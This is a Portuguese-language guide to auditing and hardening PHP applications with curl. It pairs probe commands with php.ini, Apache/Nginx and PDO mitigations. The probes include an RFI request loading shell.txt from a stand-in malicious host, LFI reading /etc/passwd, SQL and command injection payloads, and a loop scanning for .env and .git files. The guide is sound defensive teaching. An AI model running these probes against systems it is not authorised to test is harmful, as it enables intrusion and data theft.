Hardening e Recon em Aplicações PHP com cURL: Do Erro à Mitigação

🛡️ Hardening e Recon em Aplicações PHP com cURL: Do Erro à Mitigação

Este guia consolida uma metodologia prática de auditoria e proteção de aplicações PHP. O foco é o reconhecimento de baixo nível (Low-level Recon) utilizando o curl para validar a superfície de ataque e a implementação de contramedidas que garantam a resiliência da infraestrutura.

Ao longo das validações, mantenho uma regra operacional simples: primeiro confirmar exposição real no endpoint, depois aplicar mitigação em camada de runtime (php.ini), servidor web (Apache/Nginx) e código da aplicação. Sem esse encadeamento, é comum "corrigir" um ponto e manter o vetor aberto em outro.

---

1. Recon Inicial: Exposição de Stack e Fingerprinting

O primeiro passo de um atacante é entender "quem" está respondendo. O cabeçalho HTTP é o cartão de visitas do seu servidor.

curl -I https://domain.com

Indicadores críticos de exposição:

X-Powered-By: PHP/7.4.3 (Expõe versão exata do PHP).
Server: Apache/2.4.52 (Ubuntu) (Expõe SO e versão do Webserver).

🔒 Mitigação Nível Sênior

Não basta esconder; é preciso silenciar.

No php.ini:

expose_php = Off
display_errors = Off

No Apache (httpd.conf ou security.conf):

ServerTokens Prod
ServerSignature Off

No Nginx:

server_tokens off;
fastcgi_hide_header X-Powered-By;

Além disso, em ambiente de produção, eu valido de novo com curl -I após reload dos serviços para garantir que o hardening realmente chegou na borda HTTP.

---

2. LFI & RFI: Inclusão de Arquivos e Travessia de Diretório

Vulnerabilidades de inclusão permitem que um atacante leia arquivos sensíveis do sistema ou execute código remoto.

Teste de LFI (Local File Inclusion):

curl "https://domain.com/index.php?page=../../../../etc/passwd"

Teste de RFI (Remote File Inclusion):

Depende da diretiva allow_url_include = On.

curl "https://domain.com/index.php?page=http://malicious-site.com/shell.txt"

🔒 Mitigação Profissional

Whitelist Estrita: Nunca inclua arquivos baseados diretamente na entrada do usuário.
Configuração de Jaula: No php.ini, utilize open_basedir = /var/www/html:/tmp para impedir que o PHP acesse arquivos fora desses diretórios.
Desabilitar Inclusão Remota: Garanta allow_url_include = Off.

No dia a dia, trato LFI/RFI como falha de arquitetura de roteamento: se o sistema depende de include($_GET['...']), já considero débito técnico crítico e priorizo refactor para mapa estático de rotas/handlers.

---

3. SQL Injection (SQLi) e Prepared Statements

O erro clássico de concatenar variáveis em strings SQL ainda é o principal vetor de vazamento de dados.

# Teste de erro de sintaxe
curl "https://domain.com/product.php?id=1' OR '1'='1"

🔒 Mitigação Mandatória

O uso de PDO com Prepared Statements não é negociável. Ele separa o comando SQL dos dados.

// Jeito Correto (Seguro)
$stmt = $pdo->prepare("SELECT name, price FROM products WHERE id = ?");
$stmt->execute([$_GET['id']]);

Na prática operacional, eu também valido tratamento de erro no backend para não devolver stack trace SQL ao cliente. Se a query falha, a resposta externa precisa continuar genérica e o detalhe vai para log interno.

---

4. Exposição de Arquivos Sensíveis e Estrutura

Arquivos esquecidos no servidor (backups, logs, configs) são minas de ouro para reconhecimento.

# Brute-force rápido via shell
for file in .env .git/config config.php.bak backup.zip phpinfo.php; do
  curl -s -o /dev/null -w "%{http_code} -> $file\n" https://domain.com/$file
done

🔒 Mitigação via Servidor Web

Bloqueie o acesso a arquivos ocultos e extensões críticas.

Nginx:

location ~ /\.(ht|git|env) { deny all; }
location ~ \.(bak|config|sql|zip|tar)$ { deny all; }

Apache:

<FilesMatch "^\.">
    Require all denied
</FilesMatch>

Eu costumo complementar com scan recorrente em CI/CD para impedir publicação acidental de dump, backup e arquivos temporários no webroot.

---

5. Command Injection e Uploads

Se a sua aplicação executa chamadas de sistema ou aceita uploads, o risco é de RCE (Remote Code Execution).

# Teste de injeção de comando
curl "https://domain.com/ping.php?ip=127.0.0.1;id"

🔒 Mitigação e Hardening

Desabilitar Funções Perigosas: No php.ini, desative funções que interagem com o shell.

disable_functions = exec,passthru,shell_exec,system,proc_open,popen

Uploads Seguros: Armazene arquivos fora do diretório público (webroot) e utilize uma biblioteca para validar o tipo MIME real, não apenas a extensão.

Quando preciso manter upload por requisito de negócio, adiciono validação múltipla: extensão + MIME + assinatura do arquivo + rename randômico + antivírus em fila de processamento.

---

6. Configurações de Sessão e CORS

Sessões mal protegidas permitem o sequestro de contas (Session Hijacking).

🔒 Check-list de Segurança no `php.ini`

session.use_strict_mode = 1
session.cookie_httponly = 1    ; Impede acesso via JavaScript (mitiga XSS)
session.cookie_secure = 1      ; Garante envio apenas via HTTPS
session.cookie_samesite = "Lax" ; Proteção contra CSRF

Em aplicações críticas, também reviso TTL de sessão e política de rotação de session ID após autenticação e elevação de privilégio.

---

7. Auditoria de Diretórios

Impeça que o servidor liste o conteúdo das pastas quando não houver um index.php.

Apache: Options -Indexes
Nginx: autoindex off;

Esse ajuste é simples, mas evita exposição silenciosa de estrutura interna, nomes de arquivos e versões de artefatos.

---

🏁 Conclusão Estratégica

Segurança em PHP não é uma tarefa única, mas um processo de disciplina operacional. Como você bem observou, Percio, o curl é uma ferramenta fenomenal para auditoria rápida.

Quando esse recon de baixo nível é combinado com hardening de runtime, servidor e código, você reduz drasticamente a janela de ataque e transforma o ambiente em algo previsível, auditável e resiliente.

Este post está licenciado sob CC BY-NC.